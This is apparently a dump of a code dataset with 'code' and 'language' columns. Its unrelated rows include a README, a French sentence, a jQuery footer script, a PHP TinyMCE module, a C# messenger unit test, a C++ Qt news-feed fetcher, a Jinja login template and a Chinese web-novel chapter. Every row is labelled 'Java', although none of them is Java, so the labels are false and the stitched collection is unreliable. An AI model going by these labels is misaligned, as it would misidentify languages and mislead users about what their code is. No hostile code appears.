code stringlengths 4 1.01M | language stringclasses 2 values |
|---|---|
[](https://travis-ci.org/felixarntz/screen-reader-check)
# Screen Reader Check
A tool to help developers to make their HTML code accessible for screen reader users.
This is a project I'm working on as part of my Bachelor thesis at Ruhr-Universität Bochum, Germany.
| Java |
Au terme de ce chapitre, vous en savez désormais plus quant aux retours et aux phases de bêta et de validation.
Nous allons maintenant voir comme faire un retour, ce qui peut aussi vous aider à développer votre œil critique si vous êtes rédacteur. | Java |
<!-- jQuery -->
<script src="<?php echo base_url('assets/frontend/js/jquery.js') ?>"></script>
<!-- Bootstrap Core JavaScript -->
<script src="<?php echo base_url('assets/frontend/js/bootstrap.min.js') ?>"></script>
<!-- Contact Form JavaScript -->
<!-- Do not edit these files! In order to set the email address and subject line for the contact form go to the bin/contact_me.php file. -->
<script src="<?php echo base_url('assets/frontend/js/jqBootstrapValidation.js') ?>"></script>
<script src="<?php echo base_url('assets/frontend/js/contact_me.js') ?>"></script>
<script>
$('.carousel').carousel({
interval: 5000 //changes the speed
})
</script>
<!-- DATA TABLE SCRIPTS -->
<script src="<?php echo base_url('assets/backend/js/dataTables/jquery.dataTables.js') ?>"></script>
<script src="<?php echo base_url('assets/backend/js/dataTables/dataTables.bootstrap.js') ?>"></script>
<script>
$(document).ready(function () {
$('#dataTables-example').dataTable();
});
</script>
<script type="text/javascript">
CKEDITOR.replace( 'editor1', {
on: {
instanceReady: function( ev ) {
// Output paragraphs as <p>Text</p>.
this.dataProcessor.writer.setRules( 'p', {
indent: false,
breakBeforeOpen: true,
breakAfterOpen: false,
breakBeforeClose: false,
breakAfterClose: true
});
}
}
});</script> | Java |
<?php
/*
* bla-tinymce
* Copyright (C) 2017 bestlife AG
* info: oxid@bestlife.ag
*
* This program is free software;
* you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation;
* either version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>
*
* Marat Bedoev
*/
class blaTinyMceOxViewConfig extends blaTinyMceOxViewConfig_parent
{
public function loadTinyMce()
{
$cfg = oxRegistry::getConfig();
$blEnabled = in_array($this->getActiveClassName(), $cfg->getConfigParam("aTinyMCE_classes"));
$blPlainCms = in_array($cfg->getActiveView()->getViewDataElement("edit")->oxcontents__oxloadid->value, $cfg->getConfigParam("aTinyMCE_plaincms"));
$blFilemanager = $cfg->getConfigParam("blTinyMCE_filemanager");
if (!$blEnabled) return false;
if ($blPlainCms) return oxRegistry::getLang()->translateString("BLA_TINYMCE_PLAINCMS");
// processing editor config & other stuff
$sLang = oxRegistry::getLang()->getLanguageAbbr(oxRegistry::getLang()->getTplLanguage());
// array to assign shops lang abbreviations to lang file names of tinymce: shopLangAbbreviation => fileName (without .js )
$aLang = array(
"cs" => "cs",
"da" => "da",
"de" => "de",
"fr" => "fr_FR",
"it" => "it",
"nl" => "nl",
"ru" => "ru"
);
// default config
$aDefaultConfig = array(
'force_br_newlines' => 'false',
'force_p_newlines' => 'false',
'forced_root_block' => '""',
'selector' => '"textarea:not(.mceNoEditor)"',
'language' => '"' . ( in_array($sLang, $aLang) ? $aLang[$sLang] : 'en' ) . '"',
//'spellchecker_language' => '"' . (in_array($sLang, $aLang) ? $aLang[$sLang] : 'en') . '"',
'nowrap' => 'false',
'entity_encoding' => '"raw"', // http://www.tinymce.com/wiki.php/Configuration:entity_encoding
'height' => 300,
'menubar' => 'false',
'document_base_url' => '"' . $this->getBaseDir() . '"', // http://www.tinymce.com/wiki.php/Configuration:document_base_url
'relative_urls' => 'false', // http://www.tinymce.com/wiki.php/Configuration:relative_urls
'plugin_preview_width' => 'window.innerWidth',
'plugin_preview_height' => 'window.innerHeight-90',
'code_dialog_width' => 'window.innerWidth-50',
'code_dialog_height' => 'window.innerHeight-130',
'image_advtab' => 'true',
'imagetools_toolbar' => '"rotateleft rotateright | flipv fliph | editimage imageoptions"',
'moxiemanager_fullscreen' => 'true',
'insertdatetime_formats' => '[ "%d.%m.%Y", "%H:%M" ]',
'nonbreaking_force_tab' => 'true', // http://www.tinymce.com/wiki.php/Plugin:nonbreaking
'autoresize_max_height' => '400',
'urlconverter_callback' => '"urlconverter"',
'filemanager_access_key' => '"' . md5($_SERVER['DOCUMENT_ROOT']) . '"',
'tinymcehelper' => '"' . $this->getSelfActionLink() . 'renderPartial=1"'
);
if ($blFilemanager) {
$aDefaultConfig['external_filemanager_path'] = '"../modules/bla/bla-tinymce/fileman/"';
$aDefaultConfig['filemanager_access_key'] = '"' . md5($_SERVER['HTTP_HOST']) . '"';
$oUS = oxRegistry::get("oxUtilsServer");
$oUS->setOxCookie("filemanagerkey", md5($_SERVER['DOCUMENT_ROOT'] . $oUS->getOxCookie("admin_sid")));
}
//merging with onfig override
$aConfig = ( $aOverrideConfig = $this->_getTinyCustConfig() ) ? array_merge($aDefaultConfig, $aOverrideConfig) : $aDefaultConfig;
// default plugins and their buttons
$aDefaultPlugins = array(
'advlist' => '', // '' = plugin has no buttons
'anchor' => 'anchor',
'autolink' => '',
'autoresize' => '',
'charmap' => 'charmap',
'code' => 'code',
'colorpicker' => '',
'hr' => 'hr',
'image' => 'image',
'imagetools' => '',
'insertdatetime' => 'insertdatetime',
'link' => 'link unlink',
'lists' => '',
'media' => 'media',
'nonbreaking' => 'nonbreaking',
'pagebreak' => 'pagebreak',
'paste' => 'pastetext',
'preview' => 'preview',
'searchreplace' => 'searchreplace',
'table' => 'table',
'textcolor' => 'forecolor backcolor',
'visualblocks' => '',
//'visualchars' => 'visualchars',
'wordcount' => '',
'oxfullscreen' => 'fullscreen', //custom fullscreen plugin
//'oxwidget' => 'widget'
//'oxgetseourl' => 'yolo' //custom seo url plugin // wip
);
// plugins for newsletter emails
if ($this->getActiveClassName() == "newsletter_main") {
$aDefaultPlugins["legacyoutput"] = "false";
$aDefaultPlugins["fullpage"] = "fullpage";
}
// override for active plugins
$aOverridePlugins = $cfg->getConfigParam("aTinyMCE_plugins");
$aPlugins = ( empty( $aOverridePlugins ) || !is_array($aOverridePlugins) ) ? $aDefaultPlugins : array_merge($aDefaultPlugins, $aOverridePlugins);
$aPlugins = array_filter($aPlugins, function ( $value ) {
return $value !== "false";
});
// array keys von $aPlugins enthalten aktive plugins
$aConfig['plugins'] = '"' . implode(' ', array_keys($aPlugins)) . '"';
// external plugins
$aConfig['external_plugins'] = '{ "oxfullscreen":"' . $this->getModuleUrl('bla-tinymce', 'plugins/oxfullscreen/plugin.js') . '" ';
//$aConfig['external_plugins'] .= ', "oxwidget":"' . $this->getModuleUrl('bla-tinymce', 'plugins/oxwidget/plugin.js') . '" ';
if ($blFilemanager) $aConfig['external_plugins'] .= ',"roxy":"' . $this->getModuleUrl('bla-tinymce', 'plugins/roxy/plugin.js') . '" ';
//$aConfig['external_plugins'] .= ',"oxgetseourl":"' . $this->getModuleUrl('bla-tinymce', 'plugins/oxgetseourl/plugin.js') . '" ';
if ($aExtPlugins = $this->_getTinyExtPlugins()) {
foreach ($aExtPlugins AS $plugin => $file) {
$aConfig['external_plugins'] .= ', "' . $plugin . '": "' . $file . '" ';
}
}
$aConfig['external_plugins'] .= ' }';
// default toolbar buttons
$aDefaultButtons = array(
"undo redo",
"cut copy paste",
"bold italic underline strikethrough",
"alignleft aligncenter alignright alignjustify",
"bullist numlist",
"outdent indent",
"blockquote",
"subscript",
"superscript",
"formatselect",
"removeformat",
"fontselect",
"fontsizeselect"
);
$aOverrideButtons = oxRegistry::getConfig()->getConfigParam("aTinyMCE_buttons");
$aButtons = ( empty( $aOverrideButtons ) || !is_array($aOverrideButtons) ) ? $aDefaultButtons : $aOverrideButtons;
// plugin buttons
$aPluginButtons = array_filter($aPlugins);
// zusätzliche buttons
$aCustomButtons = $this->_getTinyToolbarControls();
$aButtons = array_merge(array_filter($aButtons), array_filter($aPluginButtons), array_filter($aCustomButtons));
$aConfig['toolbar'] = '"' . implode(" | ", $aButtons) . '"';
// compile the whole config stuff
$sConfig = '';
foreach ($aConfig AS $param => $value) {
$sConfig .= "$param: $value, ";
}
// add init script
$sInit = 'tinymce.init({ ' . $sConfig . ' });';
$sCopyLongDescFromTinyMCE = 'function copyLongDescFromTinyMCE(sIdent) {
var editor = tinymce.get("editor_"+sIdent);
var content = (editor && !editor.isHidden()) ? editor.getContent() : document.getElementById("editor_"+sIdent).value;
document.getElementsByName("editval[" + sIdent + "]").item(0).value = content.replace(/\[{([^\]]*?)}\]/g, function(m) { return m.replace(/>/g, ">").replace(/</g, "<").replace(/&/g, "&") });
return true;
}
var origCopyLongDesc = copyLongDesc;
copyLongDesc = function(sIdent) {
if ( copyLongDescFromTinyMCE( sIdent ) ) return;
console.log("tinymce disabled, copy content from regular textarea");
origCopyLongDesc( sIdent );
}';
$sUrlConverter = 'function urlconverter(url, node, on_save) {
console.log(tinyMCE.activeEditor);
if(url.indexOf("[{") == 0) return url;
return (tinyMCE.activeEditor.settings.relative_urls) ? tinyMCE.activeEditor.documentBaseURI.toRelative(url) : tinyMCE.activeEditor.documentBaseURI.toAbsolute(url);
}';
// adding scripts to template
$smarty = oxRegistry::get("oxUtilsView")->getSmarty();
$sSufix = ( $smarty->_tpl_vars["__oxid_include_dynamic"] ) ? '_dynamic' : '';
$aScript = (array)$cfg->getGlobalParameter('scripts' . $sSufix);
$aScript[] = $sCopyLongDescFromTinyMCE;
$aScript[] = $sUrlConverter;
$aScript[] = $sInit;
$cfg->setGlobalParameter('scripts' . $sSufix, $aScript);
$aInclude = (array)$cfg->getGlobalParameter('includes' . $sSufix);
$aExtjs = $cfg->getConfigParam('aTinyMCE_extjs');
if (!empty( $aExtjs ) && is_array($aExtjs)) foreach ($aExtjs as $key => $js) $aInclude[3][] = $js;
$aInclude[3][] = $this->getModuleUrl('bla-tinymce', 'tinymce/tinymce.min.js');
$cfg->setGlobalParameter('includes' . $sSufix, $aInclude);
return '<li style="margin-left: 50px;"><button style="border: 1px solid #0089EE; color: #0089EE;padding: 3px 10px; margin-top: -10px; background: white;" ' .
'onclick="tinymce.each(tinymce.editors, function(editor) { if(editor.isHidden()) { editor.show(); } else { editor.hide(); } });"><span>' .
oxRegistry::getLang()->translateString('BLA_TINYMCE_TOGGLE') . '</span></button></li>';
// javascript:tinymce.execCommand(\'mceToggleEditor\',false,\'editor1\');
}
protected function _getTinyToolbarControls()
{
$aControls = ( method_exists(get_parent_class(__CLASS__), __FUNCTION__) ) ? parent::_getTinyToolbarControls() : array();
return $aControls;
}
protected function _getTinyExtPlugins()
{
$aPlugins = oxRegistry::getConfig()->getConfigParam("aTinyMCE_external_plugins");
if (method_exists(get_parent_class(__CLASS__), __FUNCTION__)) {
$aPlugins = array_merge(parent::_getTinyExtPlugins(), $aPlugins);
}
return $aPlugins;
}
protected function _getTinyCustConfig()
{
$aConfig = oxRegistry::getConfig()->getConfigParam("aTinyMCE_config");
if (method_exists(get_parent_class(__CLASS__), __FUNCTION__)) {
$aConfig = array_merge(parent::_getTinyCustConfig(), $aConfig);
}
return $aConfig;
}
}
| Java |
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Nerdz.Messenger.Controller;
using Nerdz.Messages;
using Nerdz;
namespace Tests.Controller
{
public class DummyUI : IMessengerView
{
private Credentials credentials;
private IMessengerController controller;
public IMessengerController Controller
{
set
{
controller = value;
}
get
{
return controller;
}
}
public void UpdateConversations(System.Collections.Generic.List<Nerdz.Messages.IConversation> conversations)
{
Console.WriteLine("Conversations: ");
foreach (IConversation c in conversations)
{
Console.WriteLine(c);
}
}
public void UpdateMessages(System.Collections.Generic.List<Nerdz.Messages.IMessage> messages)
{
Console.WriteLine("Messages: ");
foreach (IMessage m in messages)
{
Console.WriteLine(m);
}
}
public void ShowLogin()
{
Console.WriteLine("Username: ");
string username = "new user input from textbox";
Console.WriteLine("Password: ");
string password = "password input from textbox";
credentials = new Credentials(username, password);
}
public void ClearConversations()
{
Console.WriteLine("\n\n\nConversations list cleaned\n\n");
}
public void ClearConversation()
{
Console.WriteLine("\n\nConversation cleaned\n\n");
}
public void DisplayError(string error)
{
Console.Error.WriteLine("[!] " + error);
}
public void DisplayCriticalError(string error)
{
Console.Error.WriteLine("CRITICAL: " + error);
}
public int ConversationDisplayed()
{
return 0;
}
}
[TestClass]
public class MessengerControllerTests
{
static private IMessengerView view;
static private IMessengerController controller;
[TestMethod]
public void NewController()
{
Credentials c = new Credentials(0, "wrongpass");
view = new DummyUI();
try
{
controller = new MessengerController(view, c);
}
catch (LoginException)
{
Console.WriteLine("Wrong username and password (OK!)");
}
c = new Credentials("admin", "adminadmin");
controller = new MessengerController(view, c);
}
[TestMethod]
public void TestGetConversations()
{
controller.Conversations();
}
[TestMethod]
public void TestGetConversationOK()
{
controller.Conversation(0); // exists, no exception expected
}
[ExpectedException(typeof(CriticalException))]
[TestMethod]
public void TestGetConversationFAIL()
{
controller.Conversation(110);
}
[TestMethod]
public void TestSendOK()
{
controller.Send("Gaben", "great app :>");
// user nessuno exists, no exception expected
}
[ExpectedException(typeof(BadStatusException))]
[TestMethod]
public void TestSendFAIL()
{
controller.Send("94949494", "great app :>");
// numeric username can't exists, so this test shoudl fail
}
[TestMethod]
public void TestLogout()
{
controller.Logout();
}
}
}
| Java |
/*
* Copyright (C) 2016 Stuart Howarth <showarth@marxoft.co.uk>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "independentfeedrequest.h"
#include "independentarticlerequest.h"
#include <QNetworkAccessManager>
#include <QNetworkReply>
#ifdef INDEPENDENT_DEBUG
#include <QDebug>
#endif
const int IndependentFeedRequest::MAX_REDIRECTS = 8;
const QString IndependentFeedRequest::BASE_URL("http://www.independent.co.uk");
const QString IndependentFeedRequest::ICON_URL("http://www.independent.co.uk/sites/all/themes/ines_themes/independent_theme/img/apple-icon-72x72.png");
const QByteArray IndependentFeedRequest::USER_AGENT("Wget/1.13.4 (linux-gnu)");
IndependentFeedRequest::IndependentFeedRequest(QObject *parent) :
FeedRequest(parent),
m_request(0),
m_nam(0),
m_status(Idle),
m_results(0),
m_redirects(0)
{
}
QString IndependentFeedRequest::errorString() const {
return m_errorString;
}
void IndependentFeedRequest::setErrorString(const QString &e) {
m_errorString = e;
#ifdef INDEPENDENT_DEBUG
if (!e.isEmpty()) {
qDebug() << "IndependentFeedRequest::error." << e;
}
#endif
}
QByteArray IndependentFeedRequest::result() const {
return m_buffer.data();
}
void IndependentFeedRequest::setResult(const QByteArray &r) {
m_buffer.open(QBuffer::WriteOnly);
m_buffer.write(r);
m_buffer.close();
}
FeedRequest::Status IndependentFeedRequest::status() const {
return m_status;
}
void IndependentFeedRequest::setStatus(FeedRequest::Status s) {
if (s != status()) {
m_status = s;
emit statusChanged(s);
}
}
bool IndependentFeedRequest::cancel() {
if (status() == Active) {
if ((m_request) && (m_request->status() == ArticleRequest::Active)) {
m_request->cancel();
}
else {
setStatus(Canceled);
emit finished(this);
}
}
return true;
}
bool IndependentFeedRequest::getFeed(const QVariantMap &settings) {
if (status() == Active) {
return false;
}
setStatus(Active);
setResult(QByteArray());
setErrorString(QString());
m_settings = settings;
m_results = 0;
m_redirects = 0;
QString url(BASE_URL);
const QString section = m_settings.value("section").toString();
if (!section.isEmpty()) {
url.append("/");
url.append(section);
}
url.append("/rss");
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::getFeed(). URL:" << url;
#endif
QNetworkRequest request(url);
request.setRawHeader("User-Agent", USER_AGENT);
QNetworkReply *reply = networkAccessManager()->get(request);
connect(reply, SIGNAL(finished()), this, SLOT(checkFeed()));
connect(this, SIGNAL(finished(FeedRequest*)), reply, SLOT(deleteLater()));
return true;
}
void IndependentFeedRequest::checkFeed() {
QNetworkReply *reply = qobject_cast<QNetworkReply*>(sender());
if (!reply) {
setErrorString(tr("Network error"));
setStatus(Error);
emit finished(this);
return;
}
const QString redirect = getRedirect(reply);
if (!redirect.isEmpty()) {
if (m_redirects < MAX_REDIRECTS) {
reply->deleteLater();
followRedirect(redirect, SLOT(checkFeed()));
}
else {
setErrorString(tr("Maximum redirects reached"));
setStatus(Error);
emit finished(this);
}
return;
}
switch (reply->error()) {
case QNetworkReply::NoError:
break;
case QNetworkReply::OperationCanceledError:
setStatus(Canceled);
emit finished(this);
return;
default:
setErrorString(reply->errorString());
setStatus(Error);
emit finished(this);
return;
}
m_parser.setContent(reply->readAll());
if (m_parser.readChannel()) {
writeStartFeed();
writeFeedTitle(m_parser.title());
writeFeedUrl(m_parser.url());
const bool fetchFullArticle = m_settings.value("fetchFullArticle", true).toBool();
const QDateTime lastUpdated = m_settings.value("lastUpdated").toDateTime();
if (fetchFullArticle) {
if (m_parser.readNextArticle()) {
if (m_parser.date() > lastUpdated) {
reply->deleteLater();
getArticle(m_parser.url());
}
else {
writeEndFeed();
setStatus(Ready);
emit finished(this);
}
return;
}
writeEndFeed();
}
else {
const int max = m_settings.value("maxResults", 20).toInt();
while((m_results < max) && (m_parser.readNextArticle()) && (m_parser.date() > lastUpdated)) {
++m_results;
writeStartItem();
writeItemAuthor(m_parser.author());
writeItemBody(m_parser.description());
writeItemCategories(m_parser.categories());
writeItemDate(m_parser.date());
writeItemEnclosures(m_parser.enclosures());
writeItemTitle(m_parser.title());
writeItemUrl(m_parser.url());
writeEndItem();
}
writeEndFeed();
setStatus(Ready);
emit finished(this);
return;
}
}
setErrorString(m_parser.errorString());
setStatus(Error);
emit finished(this);
}
void IndependentFeedRequest::getArticle(const QString &url) {
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::getArticle(). URL:" << url;
#endif
articleRequest()->getArticle(url, m_settings);
}
void IndependentFeedRequest::checkArticle(ArticleRequest *request) {
if (request->status() == ArticleRequest::Canceled) {
setStatus(Canceled);
emit finished(this);
return;
}
++m_results;
if (request->status() == ArticleRequest::Ready) {
const ArticleResult article = request->result();
writeStartItem();
writeItemAuthor(article.author.isEmpty() ? m_parser.author() : article.author);
writeItemBody(article.body.isEmpty() ? m_parser.description() : article.body);
writeItemCategories(article.categories.isEmpty() ? m_parser.categories() : article.categories);
writeItemDate(article.date.isNull() ? m_parser.date() : article.date);
writeItemEnclosures(article.enclosures.isEmpty() ? m_parser.enclosures() : article.enclosures);
writeItemTitle(article.title.isEmpty() ? m_parser.title() : article.title);
writeItemUrl(article.url.isEmpty() ? m_parser.url() : article.url);
writeEndItem();
}
#ifdef INDEPENDENT_DEBUG
else {
qDebug() << "IndependentFeedRequest::checkArticle(). Error:" << request->errorString();
}
#endif
if ((m_results < m_settings.value("maxResults", 20).toInt()) && (m_parser.readNextArticle())
&& (m_parser.date() > m_settings.value("lastUpdated").toDateTime())) {
getArticle(m_parser.url());
return;
}
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::checkArticle(). No more new articles";
#endif
writeEndFeed();
setStatus(Ready);
emit finished(this);
}
void IndependentFeedRequest::followRedirect(const QString &url, const char *slot) {
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::followRedirect(). URL:" << url;
#endif
++m_redirects;
QNetworkRequest request(url);
request.setRawHeader("User-Agent", USER_AGENT);
QNetworkReply *reply = networkAccessManager()->get(request);
connect(reply, SIGNAL(finished()), this, slot);
connect(this, SIGNAL(finished(FeedRequest*)), reply, SLOT(deleteLater()));
}
QString IndependentFeedRequest::getRedirect(const QNetworkReply *reply) {
QString redirect = QString::fromUtf8(reply->rawHeader("Location"));
if ((!redirect.isEmpty()) && (!redirect.startsWith("http"))) {
const QUrl url = reply->url();
if (redirect.startsWith("/")) {
redirect.prepend(url.scheme() + "://" + url.authority());
}
else {
redirect.prepend(url.scheme() + "://" + url.authority() + "/");
}
}
return redirect;
}
void IndependentFeedRequest::writeStartFeed() {
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::writeStartFeed()";
#endif
m_buffer.open(QBuffer::WriteOnly);
m_writer.setDevice(&m_buffer);
m_writer.writeStartDocument();
m_writer.writeStartElement("rss");
m_writer.writeAttribute("version", "2.0");
m_writer.writeAttribute("xmlns:dc", "http://purl.org/dc/elements/1.1/");
m_writer.writeAttribute("xmlns:content", "http://purl.org/rss/1.0/modules/content/");
m_writer.writeStartElement("channel");
m_writer.writeTextElement("description", tr("News articles from The Independent"));
m_writer.writeStartElement("image");
m_writer.writeTextElement("url", ICON_URL);
m_writer.writeEndElement();
m_buffer.close();
}
void IndependentFeedRequest::writeEndFeed() {
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::writeEndFeed()";
#endif
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeEndElement();
m_writer.writeEndElement();
m_writer.writeEndDocument();
m_buffer.close();
}
void IndependentFeedRequest::writeFeedTitle(const QString &title) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeStartElement("title");
m_writer.writeCDATA(title);
m_writer.writeEndElement();
m_buffer.close();
}
void IndependentFeedRequest::writeFeedUrl(const QString &url) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeTextElement("link", url);
m_buffer.close();
}
void IndependentFeedRequest::writeStartItem() {
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::writeStartItem(). Item" << m_results << "of"
<< m_settings.value("maxResults", 20).toInt();
#endif
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeStartElement("item");
m_buffer.close();
}
void IndependentFeedRequest::writeEndItem() {
#ifdef INDEPENDENT_DEBUG
qDebug() << "IndependentFeedRequest::writeEndItem(). Item" << m_results << "of"
<< m_settings.value("maxResults", 20).toInt();
#endif
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeEndElement();
m_buffer.close();
}
void IndependentFeedRequest::writeItemAuthor(const QString &author) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeTextElement("dc:creator", author);
m_buffer.close();
}
void IndependentFeedRequest::writeItemBody(const QString &body) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeStartElement("content:encoded");
m_writer.writeCDATA(body);
m_writer.writeEndElement();
m_buffer.close();
}
void IndependentFeedRequest::writeItemCategories(const QStringList &categories) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
foreach (const QString &category, categories) {
m_writer.writeTextElement("category", category);
}
m_buffer.close();
}
void IndependentFeedRequest::writeItemDate(const QDateTime &date) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeTextElement("dc:date", date.toString(Qt::ISODate));
m_buffer.close();
}
void IndependentFeedRequest::writeItemEnclosures(const QVariantList &enclosures) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
foreach (const QVariant &e, enclosures) {
const QVariantMap enclosure = e.toMap();
m_writer.writeStartElement("enclosure");
m_writer.writeAttribute("url", enclosure.value("url").toString());
m_writer.writeAttribute("type", enclosure.value("type").toString());
m_writer.writeEndElement();
}
m_buffer.close();
}
void IndependentFeedRequest::writeItemTitle(const QString &title) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeStartElement("title");
m_writer.writeCDATA(title);
m_writer.writeEndElement();
m_buffer.close();
}
void IndependentFeedRequest::writeItemUrl(const QString &url) {
m_buffer.open(QBuffer::WriteOnly | QBuffer::Append);
m_writer.writeTextElement("link", url);
m_buffer.close();
}
IndependentArticleRequest* IndependentFeedRequest::articleRequest() {
if (!m_request) {
m_request = new IndependentArticleRequest(this);
connect(m_request, SIGNAL(finished(ArticleRequest*)), this, SLOT(checkArticle(ArticleRequest*)));
}
return m_request;
}
QNetworkAccessManager* IndependentFeedRequest::networkAccessManager() {
if (!m_nam) {
m_nam = new QNetworkAccessManager(this);
}
return m_nam;
}
| Java |
{% if unique_login_provider %}
<form id="signin-form" method="post" action="{{ settings.LOGIN_URL }}">
{{ macros.csrf_middleware_token(csrf_token) }}
{{ login_form.next }}
{{ login_form.persona_assertion }}
<input
type='hidden'
name='login_provider_name'
value='{{ unique_login_provider.name }}'
/>
<input
name="{{ unique_login_provider.name }}"
type="submit"
class="{{ unique_login_provider.type }}"
value="{% trans login_name=unique_login_provider.name|capitalize %}Sign in via {{ login_name }}{% endtrans %}"
/>
</form>
{% else %}
<a href="{{ settings.LOGIN_URL }}?next={{ request.path|clean_login_url|escape }}"
>{% trans %}Hi there! Please sign in{% endtrans %}</a>
{% endif %}
| Java |
---
title: 通天仙路 第四百八十四章 改朝换代?
date: 2017-05-20 01:00:05
categories: 通天仙路
tags: [Duke, Hannb]
---
“方前辈,您有什么事情么?”欧阳明转身,冷下了脸,连客套也没有,就开门见山地说道。? ? ?
以他和方家的交情,本不应该如此势利。但是,惊扰到老匠头就非他所愿了。
方朝阳苦着脸道:“欧大师,老夫确实是有要事相商。”他顿了顿,低声道:“若是可以的话,景深兄也会来此的。”
欧阳明讶然望去,心中第一次正视起来。
这里是倪家府邸,倪景深不直接登门,却派方朝阳迂回求见,确实让人难以理解。他沉吟片刻,道:“也好,请随我来。”提着鸟笼子,回到了房间之中,欧阳明轻轻地将笼子放下。
大黄鬼头鬼脑地张望了过来,欧阳明好笑道:“进来吧。”
大黄兴奋地叫了一声,双足用力一跳,顿时进入其中,只是它依旧不敢朝着小鸟儿的方向张望。
虽然它并不知道小鸟儿凤族强者的身份,但血脉传承中对于危险的警惕,却让它做出了最佳选择。
欧阳明沉声道:“方前辈,倪老应该到了,你们有什么事情,请直说吧。”
“呵呵,欧小友竟然听出老夫的声音,真是让老夫汗颜啊。”随着一道轻笑声,倪景深身形闪动,已经是无声无息地进入其中。
欧阳明一看他的模样顿时明白,他是瞒着下人偷偷潜入的。只是,让这位极道老祖如此谨慎的,又会是什么事情呢?
“欧小友。”倪景深满脸笑容地道:“老夫冒昧前来,你可不要见怪啊。”
欧阳明微微一笑,坦然道:“前辈多虑了,有英姐在这儿,我可不敢放肆呢。”
倪景深老怀大慰,道:“英鸿能够得到小友垂怜,真是她的幸运啊。”
欧阳明脸色一正,道:“倪老错了。”
“啊,什么?”倪景深讶然问道,那声音中竟然透着一丝紧张的感觉。
欧阳明正容道:“能够认识英姐,并且得到她的青睐,是我的幸运。”
倪景深愣了半晌,不由得苦笑连连,不过心中却是愈的笃定了。既然欧阳明对英鸿如此牵挂,那么就算他所说的事情惹恼了欧阳明,他也不至于翻脸不认人吧。
“倪老,方前辈,两位联袂来此,不知有何要事,请说。”欧阳明肃然说道,他已经三番五次提及,若是这两位再打哈哈,欧阳明也没有多少耐心了。
倪景深和方朝阳对望了一眼,他们微微点头。
“咳咳,欧小友,你如今已经降服了走兽族和飞禽族的两位灵兽,不知下一步有何打算呢?”倪景深沉声问道。
欧阳明毫不犹豫地道:“如果不出意外,我想要到沧海郡走一遭。”他淡淡地道:“据说那儿的海族已经开始肆虐,既然如此,早点平息了省得麻烦。”
人族八郡,如今唯一还在遭受劫难的,就唯有沧海平海两郡了。不过相比之下,沧海郡才是水族攻击的方向,如果欧阳明要平乱,自然要走沧海郡了。
倪景深和方朝阳面面相觑,两个人的眼眸中都有着一种诡异之色。
八郡劫难,那可是人族大劫啊,每一次大劫兴起,都会给人族带来巨大的伤亡。哪怕各郡都有着杀手锏存在,但也必须付出足够的代价才能够将劫难消弭无形。
可是,听听欧阳明的那番话,似乎人族大劫根本就没有放在他的眼中,仿佛只要他过去了,举手投足间便能安定天下,剿灭水族。
如果其他人这么说,这两位极道老祖绝对是立即翻脸。
可是,他们的目光在大黄的身上一瞥,再想想门外的那只苍鹰,以及远方尚未回来的多臂金刚之时,竟然是由衷地泛起了一种深深的无力感。
是啊,在不知不觉中,欧阳明已经掌握了那么强大的实力,这水族大劫,似乎真的不用被他放在眼中了。
而事实上,这两位并不知道,此刻欧阳明本身的实力已经足以平定这场大劫了。而且,那笼子中的小红鸟儿才是欧阳明最大的底牌呢。
凤族,虽然并不是水族之王,但想要叼一条小鱼尝尝鲜,也绝不是什么难事。
欧阳明眉头略皱,道:“两位莫非有什么高见么?”
倪景深如梦惊醒般的道:“高见不敢当,哎,就是有一些话请欧小友考虑一二。”
欧阳明微笑着道:“倪老请讲。”
倪景深双目中陡然闪过了一道凌厉之色,道:“欧小友,如今你手头上的实力,已经强大得可以与皇室抗衡了吧。”
欧阳明心中微动,暗道,何止是抗衡啊,若是真的与皇室生冲突,哪怕是杀入皇室秘境,也能够将他们全部灭杀了吧。
皇室的实力虽然极为强大,但真正能够越极道境界的强者,却仅有待在秘境之中,不敢轻易离开的武元伟而已。而以欧阳明此刻所拥有的实力,哪怕不动用小红鸟儿这张底牌,也足以将皇族灭绝了。
不过,他并没有直接回答,而是道:“皇室有着人族第一强者坐镇,还有着秘境加成,而在下根基浅薄,未必就能胜得了皇室。”
他这句话虽然不尽不实,但是在倪景深两人耳中听来,却是相当的诚恳。
皇室之强大,可是有着千年的积累,欧阳明虽然崛起迅,但要说他能够轻易碾压皇室,却也无人可信。
倪景深微微地点着头,道:“欧小友所言极是,就算你能够灭杀皇族第一人,他们也会请动上界强者降临,那时候就不免大祸临头了。”
“噗……”小鸟儿突地在鸟笼中出了一道古怪的声音。
倪景深和方朝阳不约而同地看了过去,都是一脸的惊讶之色。
